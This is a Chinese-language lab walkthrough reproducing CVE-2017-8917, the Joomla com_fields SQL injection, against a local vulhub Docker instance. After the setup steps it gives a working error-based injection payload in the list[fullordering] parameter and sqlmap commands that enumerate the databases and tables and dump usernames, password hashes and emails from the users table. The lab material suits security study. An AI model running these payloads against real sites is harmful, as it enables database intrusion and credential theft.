文章目录
- 搭建环境
- 启动环境
- 漏洞复现
- 报错注入
- 使用sqlmap
前提条件:
1.安装docker
docker pull medicean/vulapps:j_joomla_2
2.安装docker-compose
docker run -d -p 8000:80 medicean/vulapps:j_joomla_2
3.下载vulhub
Docker Compose是 docker 提供的一个命令行工具,用来定义和运行由多个容器组成的应用,而docker-compose.yml是它的配置文件。
搭建环境
进入vulhb目录下的joomla,复现CVE-2017-8917漏洞:
cd /home/kali/vulhub/joomla/CVE-2017-8917
查看docker-compose的配置文件:
cat docker-compose.yml
如图,里面有两个镜像文件的信息,还有容器名字:
然后使用下面命令,搭建docker-compose并启动:
docker-compose up -d && docker-compose up -d
如图:
启动环境
环境搭建成功后,在浏览器中输入本机地址加之前配置文件中的端口10.9.75.45:8080进入Joomla环境:
配置网站,输入用户名和密码,密码设为root,点击下一步:
配置数据库账户密码,输入之前在配置文件中看到的数据库信息,点击下一步:
用户:root
密码:vulhub
数据库名:joomla
成功后点击安装,安装成功后点击删除installation目录(重要):
漏洞复现
报错注入
环境启动成功后刷新,页面跳转并出现报错信息,这时候可以用SQL注入中的报错注入来获取数据库信息,在URL中输入:
?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml(0x23,concat(1,user()),1)
成功回显当前用户名:
使用sqlmap
在kali中输入下面命令,获取数据库名,注入点为list:
sqlmap -u "http://10.9.75.45:8080/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml(1,concat(0x7e,version()),1)" --dbs
在弹出的交互式语句中直接回车,最后爆破出数据库名:
,输入下面命令,查看Joomla数据库中的表:
sqlmap -u "http://10.9.75.45:8080/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=" -D joomla --tables
第一个交互选n,第二个直接回车,列出57个表名,其中比较重要的表示users:
查看users表中的内容:
–dump列表中指定列的内容
sqlmap -u "http://10.9.75.45:8080/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml(1,concat(0x7e,version()),1)" -D joomla -T '#__users' -C username,password,email --dump
成功获得了用户名、加密的密码和之前输入的邮箱: